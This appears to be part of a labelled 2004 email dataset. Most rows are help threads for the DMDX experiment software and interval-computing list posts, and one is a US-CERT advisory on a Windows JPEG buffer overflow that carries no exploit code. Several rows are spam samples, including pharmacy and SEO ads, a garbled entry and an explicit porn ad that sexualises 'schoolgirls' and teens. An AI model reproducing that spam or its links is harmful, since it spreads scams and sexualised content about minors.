Slava Nesterov ,RC mailing list ,"Wed, 15 Sep 2004 01:06:34 +0400","Reliable Computing, Vol.11, issue 1, 2005"," Reliable Computing Volume 11, issue 1, 2005 Mathematical Research Contracting Optimally an Interval Matrix without Loosing Any Positive Semi-Definite Matrix Is a Tractable Problem Luc Jaulin, Didier Henrion 1-17 Computing System Reliability Given Interval-Valued Characteristics of the Components Lev V. Utkin, Igor O. Kozine 19-34 A Normal Form Supplement to the Oettli-Prager Theorem Jiri Rohn 35-39 Interval Schemes for Singularly Perturbed Initial Value Problems Abdelhay A. Salama, Emad Hamdy 41-58 Outlier Detection under Interval Uncertainty: Algorithmic Solvability and Computational Complexity Vladik Kreinovich, Luc Longpre, Praveen Patangay, Scott Ferson, Lev Ginzburg 59-76 On the Proofs of Some Statements Concerning the Theorems of Kantorovich, Moore, and Miranda Marco Schnurr 77-85 ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 14 Sep 2004 18:27:34 -0400",US-CERT Technical Cyber Security Alert -- New US-CERT PGP Key ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 New US-CERT PGP Key The current US-CERT PGP key is expiring and we have generated a new key to replace it. We use this key to sign all outgoing email, including documents sent to this list. Effective immediately, this new key is available and will be valid until Saturday, October 1, 2005. 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X-POP3-Rcpt: john@apex Received: from smtp1.rl.gov (daoutside.hanford.gov [198.232.211.130]) by ligo-wa.caltech.edu (8.11.7p1+Sun/8.9.3) with ESMTP id i8FIEn728718 for ; Wed, 15 Sep 2004 11:14:49 -0700 (PDT) Received: from apexims.rl.gov (apexims.rl.gov [130.97.55.96]) by smtp1.rl.gov (8.11.7/8.7.3) with ESMTP id i8FI2Vw02655 for ; Wed, 15 Sep 2004 11:02:31 -0700 (PDT) Received: by apexims.rl.gov with Internet Mail Service (5.5.2653.19) id ; Wed, 15 Sep 2004 11:02:26 -0700 Message-ID: <0C80D39B1958DC439AABD7217BE4E1A004E0F52A@apexch15.rl.gov> From: ""Comstock, David C"" To: ""'John Worden'"" Subject: RE: LIGO contact Date: Wed, 15 Sep 2004 11:02:18 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/mixed; boundary=""----_=_NextPart_000_01C49B4E.23FA5820"" Content-Length: 1526215 I have put a detailed construction schedule in plant mail to you. If you don't get in the near future send me an e-mail and I can put one in the mail to you. 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David Comstock, CH2M Project Engineer Project: IDF Phone: 372-3348; (Fax: 372-3378) Location: 2440 STVCN/ 1613A (Mail Stop: H6-19)",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 16 Sep 2004 16:01:26 -0400",US-CERT Technical Cyber Security Alert TA04-260A -- Microsoft Windows JPEG component buffer overflow ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Technical Cyber Security Alert TA04-260A Microsoft Windows JPEG component buffer overflow Original release date: September 16, 2004 Last revised: -- Source: US-CERT Systems Affected This vulnerability affects the following Microsoft Windows operating systems by default: * Microsoft Windows XP and Microsoft Windows XP Service Pack 1 * Microsoft Windows XP 64-Bit Edition Service Pack 1 * Microsoft Windows XP 64-Bit Edition Version 2003 * Microsoft Windows Server 2003 * Microsoft Windows Server 2003 64-Bit Edition Other Microsoft Windows operating systems, including systems running Microsoft Windows XP Service Pack 2, are not affected by default. However, this vulnerability may affect all versions of the Microsoft Windows operating systems if an application or update installs a vulnerable version of the gdiplus.dll file onto the system. Please note that this vulnerability affects any software that uses the Microsoft Windows operating system or Microsoft's GDI+ library to render JPEG graphics. Please see Systems Affected section of the vulnerability note to determine if third-party software is affected. A list of affected Microsoft products is available in Appendix B, or for the complete list of affected and non-affected Microsoft products, please see Microsoft Security Bulletin MS04-028. Overview Microsoft's Graphic Device Interface Plus (GDI+) contains a vulnerability in the processing of JPEG images. This vulnerability may allow attackers to remotely execute arbitrary code on the affected system. Exploitation may occur as the result of viewing a malicious web site, reading an HTML-rendered email message, or opening a crafted JPEG image in any vulnerable application. The privileges gained by a remote attacker depend on the software component being attacked. I. Description Microsoft Security Bulletin MS04-028 describes a remotely exploitable buffer overflow vulnerability in Microsoft's Graphic Device Interface Plus (GDI+) JPEG processing component. Attackers can exploit this vulnerability by convincing a victim user to visit a malicious web site, read an HTML-rendered email message, or otherwise view a crafted JPEG image with a vulnerable application. No user intervention is required beyond viewing an attacker-supplied JPEG image. Any applications (Microsoft or third-party) that use the GDI+ library to render JPEG images may present additional attack vectors for this vulnerability. While some applications use the Windows operating system version of the GDI+ library, other applications may install and use another version, which may also be vulnerable. Microsoft has created a GDI+ Detection Tool to help detect products that may contain a vulnerable version of the JPEG parsing component. Microsoft Knowledge Base Article 873374 provides instructions on how to download and use this tool. In addition to running Microsoft's detection utility, we recommend searching your system for ""gdiplus.dll"" to help determine what third-party applications may be affected by this vulnerability. Also note that applications may re-install a vulnerable version of the GDI+ library if re-installed after a patch has been applied. We are tracking this vulnerability in Vulnerability Note VU#297462. This reference number corresponds to CVE candidate CAN-2004-0200. II. Impact Remote attackers exploiting the vulnerability described above may execute arbitrary code with the privileges of the user running the software components being attacked. III. Solution Apply patches from Microsoft Apply the appropriate patches as specified in Microsoft Security Bulletin MS04-028. Please note that this bulletin provides several updates to the operating system and various applications that rely on GDI+ to render JPEG images. Depending on your system's configuration, you may need to install multiple patches. In addition to releasing some patches on Windows Update, Microsoft has released some patches on Office Update, and developer tool patches are available from MS04-028. Apply patches from third-party vendors Third-party software that relies on GDI+ to render JPEG images may also need to be updated. Apply the appropriate patches specified by your vendor. Please see the your vendor's site and the Systems Affected section of the vulnerability note for more information. Depending on your system's configuration, you may need install multiple patches. Follow Microsoft recommendations for workarounds Microsoft provides several workarounds for this vulnerability. Note that these workarounds do not remove the vulnerability from the system, and they will limit functionality. Please consult the ""Workarounds for JPEG Vulnerability - CAN-2004-0200"" section of Microsoft Security Bulletin MS04-028. Appendix A. References * Microsoft Security Bulletin MS04-028 - * Microsoft End User Security Bulletin for MS04-028 - * US-CERT Vulnerability Note VU#297462 - * Microsoft KB Article 873374 - * CVE CAN-2004-0200 - Appendix B. Affected Microsoft Products The following Microsoft Products are affected: * Microsoft Office XP Service Pack 3 * Microsoft Office XP Service Pack 2 * Microsoft Office XP Software: + Outlook 2002 + Word 2002 + Excel 2002 + PowerPoint 2002 + FrontPage 2002 + Publisher 2002 * Microsoft Office 2003 * Microsoft Office 2003 Software: + Outlook 2003 + Word 2003 + Excel 2003 + PowerPoint 2003 + FrontPage 2003 + Publisher 2003 + InfoPath 2003 + OneNote 2003 * Microsoft Project 2002 Service Pack 1 (all versions) * Microsoft Project 2003 (all versions) * Microsoft Visio 2002 Service Pack 2 (all versions) * Microsoft Visio 2003 (all versions) * Microsoft Visual Studio .NET 2002 * Microsoft Visual Studio .NET 2002 Software: + Visual Basic .NET Standard 2002 + Visual C# .NET Standard 2002 + Visual C++ .NET Standard 2002 * Microsoft Visual Studio .NET 2003 * Microsoft Visual Studio .NET 2003 Software: + Visual Basic .NET Standard 2003 + Visual C# .NET Standard 2003 + Visual C++ .NET Standard 2003 + Visual J# .NET Standard 2003 * The Microsoft .NET Framework version 1.0 SDK Service Pack 2 * Microsoft Picture It! 2002 (all versions) * Microsoft Greetings 2002 * Microsoft Picture It! version 7.0 (all versions) * Microsoft Digital Image Pro version 7.0 * Microsoft Picture It! version 9 (all versions, including Picture It! Library) * Microsoft Digital Image Pro version 9 * Microsoft Digital Image Suite version 9 * Microsoft Producer for Microsoft Office PowerPoint (all versions) * Microsoft Platform SDK Redistributable: GDI+ * Internet Explorer 6 Service Pack 1 * The Microsoft .NET Framework version 1.0 Service Pack 2 * The Microsoft .NET Framework version 1.1 _________________________________________________________________ Feedback can be directed to the US-CERT Technical Staff. _________________________________________________________________ This document is available from: _________________________________________________________________ Copyright 2004 Carnegie Mellon University. Terms of use: _________________________________________________________________ Revision History Sept 16, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQUnrRhhoSezw4YfQAQJUHQf/RWwQLPaATa/RdE+j8PLEiJdLlh17XxaR b0/irS0+Sx83t7HAuWgQdZR4xu5qIkUuWYKCTEPNHNXfwSNJc6LE3/MfoEurFVzE SdChZa3/q3rc3631COon9B8yNVvUQqaQIe3BjwwJWlaj4F9Su9QrcO7N6JpVuJsW dc0FuiVy/fJB2Jji+31q3krekW2BHuTA0I7TUaahwy18RHnJDNPUgldQenf8+A6E Y8G98ofdruO/zR5jIceRKpd2lTWFamQmV5IgvH25LoXro1negtS72SkqWl4zqVyK 12bfvjkFWqRhociMssA4ehz52SqUT71lZCyxFkqtrNiJuDJrkgek3w== =CCT/ -----END PGP SIGNATURE-----",0,1 Matthew Tovar ,lho-all@ligo-wa.caltech.edu,"Fri, 17 Sep 2004 00:29:15 +0000",All products for your health!,"http://gtpigb.coatbig.info/?62576375 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! 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",DMDX@psy1.psych.arizona.edu,"Sun, 19 Sep 2004 17:32:33 -0700",[DMDX] Re: input device,"At 02:19 PM 9/18/2004 +0100, you wrote: >Hi, > >I was wondering what the recommended input device is? Is it always inadvisable >to use the keyboard? > >I have a Cedrus box, has any one figured out how to get that to work? There's a bunch of discussion in the help under Input. For accurate RTs we use a Measurement Computing interface card and buttons connected to it. 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Contact your claims agent ___________________________________________________________________________ Mail sent from WebMail service at PHP-Nuke Powered Site - XXXX://www.blitz-krieg.de ",1,0 """Evgenija D. Popova"" ","reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 21 Sep 2004 13:04:21 +0200",parametric linear systems,"To those interested in parametric interval linear systems: Strong regularity of parametric matrices is defined in Popova, E.: Strong Regularity of Parametric Interval Matrices, in Mathematics and Education in Mathematics, UBM, Sofia, pp. 446-451, 2004. http://www.math.bas.bg/~epopova/papers/04smbEP.pdf (or .ps) A generalization of the parametric fixed-point iteration method (S. Rump, 1994) is presented in Popova, E.: Generalizing the Parametric Fixed-Point Iteration, submitted to PAMM, 2004. http://www.math.bas.bg/~epopova/papers/04pammEP.pdf (or .ps) The generalized parametric fixed-point iteration method has an expanded scope of applications to systems involving the so-called column-dependent parametric matrices. ParLinSys is a C-XSC open source free software module that implements the generalized parametric iteration and possesses several useful options, e.g. for inner estimation of the parametric solution set hull. The module can be downloaded from http://www.math.uni-wuppertal.de/wrswt/xsc/cxsc_software.html#plss Those who develop methods and software for parametric interval linear systems may compare the results from their methods to the results obtained by ParLinSys. With best regards, Evgenija D. Popova --------------------------------------------------------- Institute of Mathematics & Informatics Bulgarian Academy of Sciences Acad. G. Bonchev str., block 8 BG-1113 Sofia, Bulgaria Phone: (+359 2) 979-3704 Fax: (+359 2) 971-3649 --------------------------------------------------------- ",0,1 Nelia ,DMDX@psy1.psych.arizona.edu,"Tue, 21 Sep 2004 11:37:21 +0000",Want to attract more customers to your online recourse?,"Watch the stream of potential customers passing by your web site.What if they’ll never see your website in the sea of lnet information?Don’t let that happen anymore!Make your website a visible isIand in this sea by reqisterinq with major Search Engines.Let our professionaIs do it for you.See details here.Best reqards,NeIia Tate___________________________________________________ not interezted...___________________________________________________",1,1 Mr Schuck Zaneta ,DMDX@psy1.psych.arizona.edu,"Wed, 22 Sep 2004 03:10:35 -0800",cheers to your healthy life,"it skip the ornament ! sung try naive ! dissemble ",1,0 Martin Berz ,Reliable Computing ,"Tue, 21 Sep 2004 22:25:54 -0400",Validated Integration of ODEs,"Dear Colleagues, those of you interested in the validated integration of ODEs may enjoy a very extended paper on the use of Taylor models for this purpose. In particular it discusses in detail various anti-wrapping strategies that naturally follow from the use of Taylor models and provides many comparisons to other approaches. Martin Berz Suppression of the Wrapping Effect by Taylor Model-based Validated Integrators Kyoko Makino and Martin Berz http://www.bt.pa.msu.edu/cgi-bin/displaytest.pl?name=VIRC03 ",0,1 Ray Moore ,Reliable Computing ,"Wed, 22 Sep 2004 06:30:15 -0400",Re: Validated Integration of ODEs,"Dear colleagues, I highly recommend this latest work by Makino and Berz to anyone interested in validated integration of ODEs. Ramon Moore ----- Original Message ----- From: ""Martin Berz"" To: ""Reliable Computing"" Sent: Tuesday, September 21, 2004 10:25 PM Subject: Validated Integration of ODEs > Dear Colleagues, > > those of you interested in the validated integration of ODEs may enjoy a > very > extended paper on the use of Taylor models for this purpose. In particular > it > discusses in detail various anti-wrapping strategies that naturally follow > from the use of Taylor models and provides many comparisons to other > approaches. > > Martin Berz > > > Suppression of the Wrapping Effect by Taylor Model-based Validated > Integrators > Kyoko Makino and Martin Berz > http://www.bt.pa.msu.edu/cgi-bin/displaytest.pl?name=VIRC03 > >",0,1 Maria Nella Carminati ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 2004 10:28:36 +0200",[DMDX] Displaying pictures and text on the screen - Centering issue,"Hello everyone, I am preparing a picture-word interference expt. where I have a picture appearing on the screen and at the same time a word above or below the picture. I want the word to appear always at the same distance from the centre of the picture whether above or below the picture. I have tried with preceding the text of the word with the and command, e.g. ""return"", ""return"". I am using the default, i.e. everything is displayed at the centre of the screen. What I get is that when words are displayed above the picture the distance from the centre is much more (approx 2 cm more) than when the words are displayed below the picture. Why is this happening? I have noticed another thing. My screen is 30 cm high (measured with a tape). I have found out that when pictures are displayed their centre corresponds to the centre of the screen. However, when text is displayed by default (i.e. not using the command in the script) the imaginary line along the bottom of the text (excluding letters that extend below like j and g) is about 1/2 cm above the middle the screen (i.e. 14.5 cm from the top rather than 15 cm). How exactly is text centered by default? Any help much appreciated Maria Nella Carminati Dept. Of Psychology University of Milan Bicocca",0,0 Matthew Finkbeiner ,DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 2004 06:37:03 -0400",[DMDX] Re: Displaying pictures and text on the screen - Centering issue,"If you want text and graphics to be aligned vertically, I have found that in conjunction with using in the parameter line and then specifying the position of both works the best. For example: +1 g ""pic"" , ""text"" ; or if you want the text above the picture +1 g ""pic"" , ""text"" ; ----- Original Message ----- From: ""Maria Nella Carminati"" To: Cc: ""fabrizio"" Sent: Thursday, September 23, 2004 4:28 AM Subject: [DMDX] Displaying pictures and text on the screen - Centering issue Hello everyone, I am preparing a picture-word interference expt. where I have a picture appearing on the screen and at the same time a word above or below the picture. I want the word to appear always at the same distance from the centre of the picture whether above or below the picture. I have tried with preceding the text of the word with the and command, e.g. ""return"", ""return"". I am using the default, i.e. everything is displayed at the centre of the screen. What I get is that when words are displayed above the picture the distance from the centre is much more (approx 2 cm more) than when the words are displayed below the picture. Why is this happening? I have noticed another thing. My screen is 30 cm high (measured with a tape). I have found out that when pictures are displayed their centre corresponds to the centre of the screen. However, when text is displayed by default (i.e. not using the command in the script) the imaginary line along the bottom of the text (excluding letters that extend below like j and g) is about 1/2 cm above the middle the screen (i.e. 14.5 cm from the top rather than 15 cm). How exactly is text centered by default? Any help much appreciated Maria Nella Carminati Dept. Of Psychology University of Milan Bicocca",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 23 Sep 2004 09:37:31 -0700",[DMDX] Re: Displaying pictures and text on the screen - Centering issue,"At 10:28 AM 9/23/2004 +0200, you wrote: > >What I get is that when words are displayed above the picture the distance >from the centre is much more (approx 2 cm more) than when the words are >displayed below the picture. Why is this happening? The top of something displayed on line 1 is the middle of the screen. > I have noticed another thing. My screen is 30 cm high (measured with a > tape). I have found out that when pictures are displayed their centre > corresponds to the centre of the screen. However, when text is > displayed by default (i.e. not using the command in the script) > the imaginary line along the bottom of the text (excluding letters that > extend below like j and g) is about 1/2 cm above the middle the screen > (i.e. 14.5 cm from the top rather than 15 cm). How exactly is text > centered by default? displayrow = screenheight / 2 + (row_no - 1) * lineheight Where displayrow is the top of the rectangle that bounds the text and lineheight is it's height. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ When you don't know what you are doing, do it neatly.",0,0 Robin Nusslock ,DMDX@psy1.psych.arizona.edu,"Sun, 26 Sep 2004 18:49:34 -0500",[DMDX] Time Out Switches,"Hi everyone, Can time out (to) switches take a counter as a value rather than an integer value? Robin ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Sep 2004 08:43:10 -0700",[DMDX] Re: Time Out Switches,"At 06:49 PM 9/26/2004 -0500, you wrote: >Hi everyone, > >Can time out (to) switches take a counter as a value rather than an >integer value? No, no one has wanted that before. If you are going to have limited range of timeout values you'll have to use an indexed call that branches on a counter's value to one of a number of items that each set the timeout to a different value and return. Or step up to become a member of the elite group that sponsor changes to DMDX of course ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The time to repair the roof is when the sun is shining. - John F. Kennedy ",0,0 """Thomas A. Eaton"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Sep 2004 11:49:06 -0700",[DMDX] Re: Wav file interferes with previous frame,"Hello everyone, I was curious if there was a keyword to stop a wav file from competing with a previous frame. +1 %30 ""**""/ ""ding""/ *""a_p_e""; In this example I would like the wav to continue into the presentation of apple. However, it is currently competing with the **. The ** stay on the screen as long as the ""ding"" sound lasts plus the 30 ticks. Is there a manner by which to make the wav overlap the target and not the pervious frame? I would like to use ding to indicate to the subject to move on and press enter. thanks-tom ===== Thomas A. Eaton Department of Psychology U-20 Language & Cognition 406 Babbidge Road University of Connecticut Storrs, CT 06269-1020 http://home.att.net/~taeaton _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Sep 2004 14:49:23 -0700",[DMDX] Re: Wav file interferes with previous frame,"At 11:49 AM 9/27/2004 -0700, you wrote: >Hello everyone, I was curious if there was a keyword >to stop a wav file from competing with a previous >frame. > >+1 %30 ""**""/ ""ding""/ *""a_p_e""; > >In this example I would like the wav to continue into >the presentation of apple. However, it is currently >competing with the **. The ** stay on the screen as >long as the ""ding"" sound lasts plus the 30 ticks. Is >there a manner by which to make the wav overlap the >target and not the pervious frame? I would like to use >ding to indicate to the subject to move on and press >enter. Yeah, the sound documentation has a half dozen different examples. You want the following: +1 %30 ""**""/ ""ding""/ *""a_p_e""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. Holden",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 27 Sep 2004 16:24:38 -0700",[DMDX] Re: Wav file interferes with previous frame,"At 02:49 PM 9/27/2004 -0700, you wrote: > Yeah, the sound documentation has a half dozen different > examples. You want the following: > >+1 %30 ""**""/ ""ding""/ *""a_p_e""; Might be / %0 ""ding""/, the docs have the right thing anyway. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. Holden",0,0 Åse Innes-Ker ,"""DMDX@psy1.psych.arizona.edu"" ","Tue, 28 Sep 2004 13:01:01 +0200",[DMDX] Running DMDX on computers that are set up in other languages,"Hi, I've recently started a job in Sweden, and, not surprisingly, the computers there are set up in Swedish. When I try to run my DMDX programs (which run perfectly fine on US language machines), my programs don't run. Possibly because things have different names. For example, DMDX didn't understand ""keyboard"" as an input id, because here it is called ""tangentbord"". Those are relatively easy to remedy, but after I did that, I was getting error messages for other things (like the name for shift keys etc), which is all very annoying. Is there a relatively easy remedy for this? I couldn't find any quick references to it in the past list-serve messages, or in the help text, though I know that there are people outside english speaking countries using DMDX, so the answer must be out there. Thanks. Åse Åse Kvist Innes-Ker, Ph.D. Institutionen för Psykologi Lunds Universitet Box 213 SE-22100 LUND SWEDEN Tel: (+46) 046 222 3396 (Drop first 0 when calling from abroad) Fax: (+46) 046-222 4209 Mobile: 070 277 6579 ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 28 Sep 2004 12:18:28 +0100",[DMDX] Re: Running DMDX on computers that are set up in other languages,"At 13:01 28/09/2004 +0200, you wrote: >Hi, > >I've recently started a job in Sweden, and, not surprisingly, the >computers there are set up in Swedish. When I try to run my DMDX programs >(which run perfectly fine on US language machines), my programs don't >run. Possibly because things have different names. For example, DMDX >didn't understand ""keyboard"" as an input id, because here it is called >""tangentbord"". Those are relatively easy to remedy, but after I did that, >I was getting error messages for other things (like the name for shift >keys etc), which is all very annoying. > >Is there a relatively easy remedy for this? I couldn't find any quick >references to it in the past list-serve messages, or in the help text, >though I know that there are people outside english speaking countries >using DMDX, so the answer must be out there. If you run TimeDX/Input Test and select keyboard it should give you the names in Swedish. Same for the mouse buttons. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 596 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,0 Åse Innes-Ker ,DMDX@psy1.psych.arizona.edu,"Tue, 28 Sep 2004 13:27:17 +0200",[DMDX] ***SPAM*** Re: Running DMDX on computers that are set up in other languages,"Oh, it does. Which isn't really the problem (and easy to fix in the script). What happens is that I get error messages telling me that there is no such thing as a ""left shift key"" (because it isn't called that in Swedish, of course), but the name of the key is not something I (at least routinely) specify in my DMDX script. I just name the device, and in the past all has been taken care of (except when I want to do remapping of course). It would be great if I wouldn't have to do some extensive renaming of standard input keys like the two shift keys and the mouse button (things I wouldn't have to do in english). Åse Åse Kvist Innes-Ker, Ph.D. Institutionen för Psykologi Lunds Universitet Box 213 SE-22100 LUND SWEDEN Tel: (+46) 046 222 3396 (Drop first 0 when calling from abroad) Fax: (+46) 046-222 4209 Mobile: 070 277 6579 ----- Original Message ----- From: Mike Ford Date: Tuesday, September 28, 2004 1:18 pm Subject: [DMDX] ***SPAM*** Re: Running DMDX on computers that are set up in other languages > At 13:01 28/09/2004 +0200, you wrote: > >Hi, > > > >I've recently started a job in Sweden, and, not surprisingly, the > >computers there are set up in Swedish. When I try to run my DMDX > programs > >(which run perfectly fine on US language machines), my programs > don't > >run. Possibly because things have different names. For example, > DMDX > >didn't understand ""keyboard"" as an input id, because here it is > called > >""tangentbord"". Those are relatively easy to remedy, but after I > did that, > >I was getting error messages for other things (like the name for > shift > >keys etc), which is all very annoying. > > > >Is there a relatively easy remedy for this? I couldn't find any > quick > >references to it in the past list-serve messages, or in the help > text, > >though I know that there are people outside english speaking > countries > >using DMDX, so the answer must be out there. > > If you run TimeDX/Input Test and select keyboard it should give > you the > names in Swedish. Same for the mouse buttons. > > - Mike > > > oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo > > *** Note New Extension - 596 *** > > Mike Ford > MRC Cognition & Brain Sciences Unit > 15 Chaucer Rd, Cambridge, CB2 2EF, UK. > Tel: +44 (0)1223 355294 ext 596 Fax: +44 (0)1223 359062 > > oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 28 Sep 2004 10:01:35 -0700",[DMDX] Re: Running DMDX on computers that are set up in other languages,"At 01:01 PM 9/28/2004 +0200, you wrote: >Is there a relatively easy remedy for this? I couldn't find any quick >references to it in the past list-serve messages, or in the help text, >though I know that there are people outside english speaking countries >using DMDX, so the answer must be out there. There are plenty of references, you need to use the #keyboard if you want to avoid knowing about local key names. All keys have a numeric value that TimeDX's input test displays instead of alpha names. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Hell is paved with good samaritans."" - William M. Holden ",0,0 Ruben Koehler ,linuxusers@astron.berkeley.edu,"Wed, 29 Sep 2004 06:58:44 -0400",elegant youung Teens harrdcore actiion!," Have you ever seen delectable Schoolgirls get fuucked in every holes? http://yourbigplanet.info/pwteenslutsgon.htm?iSPhfd.fX,hj U-N-$-U-B-$-C-R-I-B--E http://yourbigplanet.info ",1,1 asaleh ,"""Paul S. Wang"" ","Wed, 29 Sep 2004 00:15:47 -0400",2nd Report for Sep.2004,"Dear Dr.Wang, First, I am sorry if this report came late for couple days.. Actually because of our trip and also I was fixing some previous technical issues. For the past days till now, I have worked on: - Adding new questions for the Assessments. - Testing the Import/Export capabilities, fixing some small mistakes and redesigning some related issues. I have Also Added a new link called 'Process/Display' for each teacher's Assessment so that the teacher can choose one of three display options (By): 1) A given order only, OR 2) All questions/options are in Random order, OR 3) Random questions, Non-Random options. I am have away of finishing the 3rd option. So, I am working on these different display options, and then I will save the the student's name, All answers, etc. in the database for each student so that these info. can be retrieved and used later for statistical purposes and giving an advice for the teacher.. So hopefully I will get some work done by next week in the next report. Thank you, Saleh Al-shomrani. ",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Wed, 29 Sep 2004 14:02:26 +0200",[DMDX] Shadowing with DMDX,"Hello all I am planning to set up an experiment that is something like the classic paradigm of shadowing: participants hear a word via headphones and they are asked to produce a word in response. I have tried a DMDX script which seems to do the work. Basically it looks like that: ** ** +121001 ""+"" / * ""mer"" ; I was wondering if any of you have conducted this type of experiment using DMDX. My potential concern is that the paradigm requires using the sound card both as output and input (I would like not only to get onset times for the responses with DigitalVox but also to record them using RecordVocal). How much processing cost does that double use induce? Is the resetting of the sound card fast enough that the use of input and output on a single trial does not produce serious RT variability? Etc. Any thoughts on the issue would be wellcome thanks a lot xavier alario But I have no means to test in details what cost in time the double use of the card induces.",0,0 Åse Innes-Ker ,DMDX@psy1.psych.arizona.edu,"Wed, 29 Sep 2004 15:00:26 +0200",[DMDX] Re: Running DMDX on computers that are set up in other languages,"I did find it, finally (the references). Looks like I can't use the left and right shift keys though, because I can't get DMDX to recognize the swedish names (which are vänster skift och höger skift, and I'm wondering if I have issues with the extra letters. It does fine with mapping keys that don't have the å ä ö in it, like the spacebar). Åse Kvist Innes-Ker, Ph.D. Institutionen för Psykologi Lunds Universitet Box 213 SE-22100 LUND SWEDEN Tel: (+46) 046 222 3396 (Drop first 0 when calling from abroad) Fax: (+46) 046-222 4209 Mobile: 070 277 6579 ----- Original Message ----- From: ""Jonathan C. Forster"" Date: Tuesday, September 28, 2004 7:01 pm Subject: [DMDX] Re: Running DMDX on computers that are set up in other languages > At 01:01 PM 9/28/2004 +0200, you wrote: > > > >Is there a relatively easy remedy for this? I couldn't find any > quick > >references to it in the past list-serve messages, or in the help > text, > >though I know that there are people outside english speaking > countries > >using DMDX, so the answer must be out there. > > There are plenty of references, you need to use the #keyboard > if you > want to avoid knowing about local key names. All keys have a > numeric value > that TimeDX's input test displays instead of alpha names. > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > ""Hell is paved with good samaritans."" > - William M. Holden > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 �����T�Q�M �����K�B�O �^�X�x�W����QMWJJKHHZ ,reliable_computing-outgoing@interval.louisiana.edu,"Sun, 29 Apr 1900 05:23:52 +0800",{Eugenia}�]���k�u�ߪᨽ�l�j�����t�CDVD�M�\\ �ȱo���� osisicto,"�s�W����1 �m���s�����n�����h�����s�w���u,���s���j���Q���@���},���������k�l�]�b�w���u�I ���������j���K���A�k�D���~�����M�j�F�I�A�������i�O�����~�����k!!indicant ���������j���K���A�k�D���~�����M�j�F�I�A�������i�O�����~�����k!!photogenic Saki Hayama ���s�p�V 11/25/1978 155 88-59-88 n/a �@",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 29 Sep 2004 08:29:26 -0700",[DMDX] Re: Shadowing with DMDX,"At 02:02 PM 9/29/2004 +0200, you wrote: >I was wondering if any of you have conducted this type of experiment using >DMDX. My potential concern is that the paradigm requires using the sound >card both as output and input (I would like not only to get onset times >for the responses with DigitalVox but also to record them using >RecordVocal). How much processing cost does that double use induce? Is the >resetting of the sound card fast enough that the use of input and output >on a single trial does not produce serious RT variability? Etc. The card doesn't get reset, it simply does both recording and playing at the same time, full duplex as the technical lingo goes. >But I have no means to test in details what cost in time the double use of >the card induces. It should be ok, most sound cards these days have no trouble with full duplex data and most of the time that you are using RecordVocal the sound card is already doing full duplex transfers as the rest of the machine might be outputting a sound as DMDX is recording one. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The time to repair the roof is when the sun is shining. - John F. Kennedy ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 29 Sep 2004 08:34:05 -0700",[DMDX] Re: Running DMDX on computers that are set up in other languages,"At 03:00 PM 9/29/2004 +0200, you wrote: >I did find it, finally (the references). > >Looks like I can't use the left and right shift keys though, because I >can't get DMDX to recognize the swedish names (which are vänster skift och >höger skift, and I'm wondering if I have issues with the extra >letters. It does fine with mapping keys that don't have the å ä ö in it, >like the spacebar). If you use #keyboard you don't need names at all, you use the global numbers and DMDX by default will map the space bar +#57 and shift keys +#42 and +#54 for you. Regardless of language. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The time to repair the roof is when the sun is shining. - John F. Kennedy ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, 